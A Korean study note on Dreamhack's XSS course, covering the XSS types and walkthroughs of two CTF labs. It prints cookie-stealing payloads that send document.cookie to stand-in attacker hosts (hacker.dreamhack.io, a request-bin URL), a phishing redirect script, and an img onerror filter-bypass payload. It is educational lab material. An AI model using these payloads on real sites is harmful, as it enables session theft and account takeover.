[Dreamhack] STAGE4. Cross-Site-Scripting
Web Hacking Cross-Site-Scripting (XXS)
* Cross Site Scripting의 약어는 CSS가 되는 것이 맞으나, 스타일 시트 정의 언어 CSS와의 중복으로, 혼동될 수 있어 XSS로 명명됨
클라이언트 사이드의 취약점 : 웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점으로, 이를 통해 이용자를 식별하기 위한 세션 및 쿠키 정보를 탈취하여 해당 계정으로 임의의 기능을 수행할 수 있다.
XSS
클라이언트 사이드 취약점 중 하나로, 공격자가 웹 리소스에 오리진 권한으로 악성 스크립트를 삽입하여 웹 브라우저에서 해당 스크립트를 실행할 수 있다. SOP 보안 정책이 등장하며 서로 다른 오리진에서 정보를 읽는 행위가 어려워졌지만, 이를 우회하는 다양한 기술이 등장하며 XSS 공격은 지속되고 있다.
XSS | Description |
---|---|
Stored XSS | XSS에 사용되는 악성 스크립트가 서버에 저장되며, 서버에 응답에 담겨옴 |
Reflected XSS | XSS에 사용되는 악성 스크립트가 URL에 삽입되어 서버의 응답에 담겨옴 |
DOM-based XSS | XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입됨 (Fragment는 서버 요청/응답에 포함되지 않음) |
Universal XSS | 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회함 |
공격 코드 예시
*쿠키 및 세션 탈취 공격 코드
<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie;
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>
*페이지 변조 공격 코드
<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>
*위치 이동 공격 코드
<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing";
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>
Stored XSS
서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS (게시물과 댓글에 악성 스크립트를 포함해 업로드)로, 이는 불특정 다수에게 보여지기 때문에 XSS 취약점이 존재할 경우 높은 파급력을 지닌다.
Reflected XSS
서버가 악성 스크립트가 담긴 요청을 출력할 때 (게시판 서비스에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함하여 검색) 발생한다.
Stored XSS와 다르게, URL과 같은 이용자의 요청에 의해 발성하며, 공격을 위해서는 타 이용자가 악성 스크립트가 포함된 링크에 접속하도록 유도해야한다. 이 때, 주로 Click jacking 또는 Open Redirect 등 다른 취약점과 연계하여 사용한다.
DOM(Document Object Model) based XSS
DOM은 HTML 및 XML 문서에 접근하는 방법을 표준으로 정의하는 문서 객체 모델로, 구조화된 문서의 표준 표현 방식이다. DOM based XSS 공격은 서버의 HTTP 응답은 변경하지 않지만, 피해자의 브라우저에서는 공격자가 악의적으로 변조한 DOM 환경으로 인해 공격 구문이 실행된다.(HTTP 응답에는 공격자의 공격 구문이 포함되지 않지만, DOM 객체가 생성될 경우 클라이언트 측 스크립트에 공격 구문이 포함된다) 위의 Stored XSS, Reflected XSS의 경우 서버 측의 결함으로 인해 응답 페이지에 악성 스크립트 구문이 포함되지만, DOM based XSS의 경우, 서버와 관계 없이 브라우저에서 발생한다.
참고 : link
Universal XSS
UXSS는 블특정한 사이트에서 발생 가능한 XSS로, 보통 웹보다는 모바일 앱, 네이티브 앱에서 발생하며, 예시로는 모바일 앱의 웹뷰 자체에서 발생하는 XSS로 인해 도메인과 관계 없이 정보를 탈취하는 것 등이 있다.
실습
- XSS 발생 예시와 종류
- Stored XSS
- Reflected XSS
드림핵 웹 [함께실습] XSS
웹 서비스 분석
엔드포인트 : /vuln
이용자가 전달한 param 파라미터의 값을 출력한다
@app.route("/vuln")
def vuln():
param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져옴
return param # 이용자의 입력값을 화면 상에 표시
엔드포인트 : /memo
이용자가 전달한 memo 파라미터 값을 render_template 함수를 통해 기록 & 출력
@app.route('/memo') # memo 페이지 라우팅
def memo(): # memo 함수 선언
global memo_text # 메모를 전역변수로 참조
# 사용가 전송한 memo 입력값을 가져옴
text = request.args.get('memo', '')
# 사용가 전송한 memo 입력값을 memo_text에 추가
memo_text += text + '\n'
# 사이트에 기록된 memo_text를 화면에 출력
return render_template('memo.html', memo=memo_text)
엔드포인트 : /flag
메소드에 따른 요청마다 다른 기능을 수행하는데, GET 메소드에서는 이용자에게 URL을 입력받는 페이지를 제공하며, POST 메소드에서는 params 파라미터의 값과 쿠키에 FLAG를 포함하여 check_xss 함수를 호출한다. 이 때 check_xss 함수는 read_url 함수를 호출하여 vuln 엔드포인트에 접속한다.
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
취약점 분석 & 익스플로잇 (Exploit : 취약점 공격)
vuln과 memo는 이용자의 입력값을 페이지에 출력하며, memo는 render_template을 통해 memo.html을 출력한다. render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티코드로 변환하여 저장하기에 XSS가 발생하지 않는다. 그러나, vuln은 이용자가 입력한 값을 그대로 출력하기에 XSS가 발생한다.
문제를 해결하기 위해, /vuln 엔드포인트에서 발생하는 XSS 취약점을 통해 임의 이용자의 쿠키를 탈취해야한다. 이를 전달받기위해서는 외부에서 접근 가능한 웹 서버, 또는 문제에서 제공하는 memo 엔드포인트를 사용해야 한다.
- location.href : 전체 URL을 반환하거나, URL을 업데이트 할 수 있는 속성값
- document.cookie : 해당 페이지에서 사용하는 쿠키를 읽고, 쓰는 속성값
memo 페이지 사용
아래 코드를 flag 엔드포인트에서 입력하면, memo 엔드포인트에서 임의 이용자의 쿠키 정보를 확인할 수 있다
<script>location.href = "/memo?memo=" + document.cookie;</script>
웹 서버 사용
드림핵에서 제공하는 request bin 버튼을 클릭하여 생성된 랜덤한 URL을 입력하여, 해당 URL에 접속한 기록을 저장할 수 있다.
<script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script>
마치며
XSS 공격은 주로 이용자의 입력값이 출력되는 페이지에서 발생하며, 이러한 문제점은 악성 태그를 필터링하는 HTML Santization 또는 엔티티코드 치환 방법을 통해 해결 가능하다
드림핵 웹 [혼자실습] XSS
XSS-1에서는 script를 통해 문제를 풀 수 있었는데, XSS-2에서는 script가 작동되지 않았다. 모든 함수에 render_template을 사용하기에 XSS가 발생하지 않아서 어떻게 접근해야할 지 감을 잡지 못했는데, 댓글에서 모두 우회 방법을 찾아보라고 하길래 검색해봤다. script 태그가 막힌 경우 중간에 대문자를 섞어서 우회할 수 있다는 말도 봤으나, hello 만 보일 뿐이었다 … 다른 우회 방법들도 찾아 시도해보았는데 script 태그를 사용한 우회방법은 모두 실패하길래 이쯤에서 script 태그로의 접근을 포기하고 html 태그만을 활용하여 XSS 취약점을 발생시켜야 한다고 느꼈다.
html에서 JS를 일으킬 수 있는 방법은 script 태그를 사용하는 것 외에 이벤트의 사용이 있다. 가장 간단하게 img 태그의 src를 임의의 주소로 정해두고, 이 링크로 이동할 수 없을 시 XSS-1의 코드를 실행할 수 있도록 했다. XSS-1에서 사용한 코드를 그대로 html 이벤트 삽입 문법에 맞게 넣어주면 플래그를 얻을 수 있다.
<img src="temp" onerror="location.href = '/memo?memo=' + document.cookie">
* 우회 코드들을 조합해볼 수 있는 사이트 : PortSwigger